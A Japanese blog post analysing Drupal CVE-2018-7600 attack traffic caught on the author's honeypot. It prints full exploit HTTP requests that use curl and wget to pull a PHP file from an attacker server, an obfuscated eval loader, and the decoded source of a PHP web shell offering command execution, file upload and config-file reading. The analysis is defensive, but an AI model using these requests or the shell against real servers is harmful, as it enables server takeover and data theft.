とりあえずブログ

SEとして働く会社員の雑多なブログ

Drupal の脆弱性(CVE-2018-7600)の攻撃例

先日ご紹介したDrupal脆弱性を狙ったアタックの具体的な攻撃例をご紹介します。

saito.hatenadiary.com

今回僕のハニーポットに来ていた攻撃のアクセスは3種類あり、どれもphpファイルを配置するような動きを行う処理でした。

  • curlコマンドでwp-stats.txtの内容をt6nv.phpというファイル名でダウンロード
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Accept-Encoding: gzip,deflate
Connection: Keep-Alive
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Host: XXX.XXX.XXX.XXX:80
User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151)

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=curl+-o+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
  • wgetコマンドでwp-stats.txtの内容をt6nv.phpというファイル名でダウンロード
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Accept-Encoding: gzip,deflate
Connection: Keep-Alive
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Host: XXX.XXX.XXX.XXX:80
User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151)

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget+-O+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Accept-Encoding: gzip,deflate
Connection: Keep-Alive
Content-Length: 2055
Content-Type: application/x-www-form-urlencoded
Host: XXX.XXX.XXX.XXX:80
User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151)

form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22PD9waHAgZXZhbChnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ3JVbDZZdHMyRVA2OEFQa1BESFJBTmszTGRvY0JVaElaQzI5c0RiYlltWEx2aXhNSXNsSGJlU1JFSUttNFhwRC8zanRGOGxpVGMzWkVJMEJ4M3ZQY1BmZWlvNW1VVDRhU0ZVOTNuaStheDYzVHd3TStKODBqcmhUVHpWTVkrRTVqT1J4Wm5VejBLYnBtWVZ1dFh4NE9EeHIzWEdRZGl6TFh4Q1BIUUhlczJBd2VrVEQ2MXg5YTZjZngrRHI4T0F6RzlCYk5QUCswZEI3NS8xbjhZQnhCVTVjV01CUEpHaEEwVnlLeWp2SUZBUWFMTmJuSjBUWHlLY0pITkhUWlpNSUErZ2ZQYkxnQWxRNGVocGxWbUxQUnZ3RzJ5RkJRc2JpVVhLL0JmV1BlOThPcmJzOEhCOE4rbjU0K0hoNndSN0VYUXdNQW1kQlpGbGx0RUdRcGxKNnQ4eWh3elZwVGp2MGZudmR0SXloR2xUTzcwMCtDazJLUlUvN1ZZK3p2a3A1SHZDcndTZWNUeEpzM1V5Q2ZOK3V1L2VtUHAwR2NpcHh1eDdCdVY1UXljN3N0WTRLTDBlWDFPT3hmL3UwUHpxOTh4N1FoYmxkbTRucEV2ZUhGNU1vZmpNUFJZemhwWVYzYVRCVjZuc2QyQ1VOOFNUd3JSZVlXeXdJYkpKbk4wTVo3V0t6RGxsc
・・・+%7C+base64+-d+%7C+tee+t6nv.php

phpファイルの中身はどんなものかというと 、こんな感じです。

<?php eval(gzinflate(str_rot13(base64_decode('rUl6Yts2EP68APkPDHRANk3LdocBUhIZC29sDbbYmXLvixMIslHbeSREIKm4XpD/3jtF8liTc3ZEI0Bx3vPcPfeio5mUT4aSFU93ni+ax63TwwM+J80jrhTTzVMY+E5jORxZnUz0KbpmYVutXx4ODxr3XGQdizLXxCPHQHes2AwekTD61x9a6cfx+Dr8OAzG9BbNPP+0dB75/1n8YBxBU5cWMBPJGhA0VyKyjvIFAQaLNbnJ0TXyKcJHNHTZZMIA+gfPbLgAlQ4ehplVmLPRvwG2yFBQsbiUXK/BfWPe98Orbs8HB8N+n54+Hh6wR7EXQwMAmdBZFlltEGQplJ6t8yhwzVpTjv0fnvdtIyhGlTO700+Ck2KRU/7VY+zvkp5HvCrwSecTxJs3UyCfN+uu/emPp0Gcipxux7BuV5Qyc7stY4KL0eX1OOxf/u0Pzq98x7Qhbldm4npEveHF5MofjMPRYzhpYV3aTBV6nsd2CUN8STwrReYWywIbJJnN0MZ7WKzDllrgJ2nv5EjdO7HdA0O8FISe.・・・')))); ?>

Base 64でエンコードされていて、ROT13変換で暗号化処理されていて、deflate圧縮されていて、最後にevalで実行処理がされていますが、どんな処理が動いているのか、これだとわかりません。。。

そこで、evalの箇所をechoに変更して実行してみると、こんなphpの処理が実行されていることが判明しました。

error_reporting(0);
if (!isset($_SESSION['bajak'])) {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>UnKnown - Simple Shell</title><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['rf'])){
$rf = file_get_contents("../../configuration.php");
echo $rf;
}
else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";

これを見るとなんと任意のファイルをアップロードして、任意のコマンドを実行できるPHPファイルであることが分かります。 PHPが動いているサーバを乗っ取るようなファイルであることが分かります。

このファイルが実行されていると思われる外部のサーバを見つけたので、画面サンプルとして紹介します。

f:id:tkm03:20180422191734p:plain

攻撃者は、この画面を利用してファイルをアップロードしたり、コマンドを実行したりするものと思われます。

怖いですねー。。。

saito.hatenadiary.com

saito.hatenadiary.com

saito.hatenadiary.com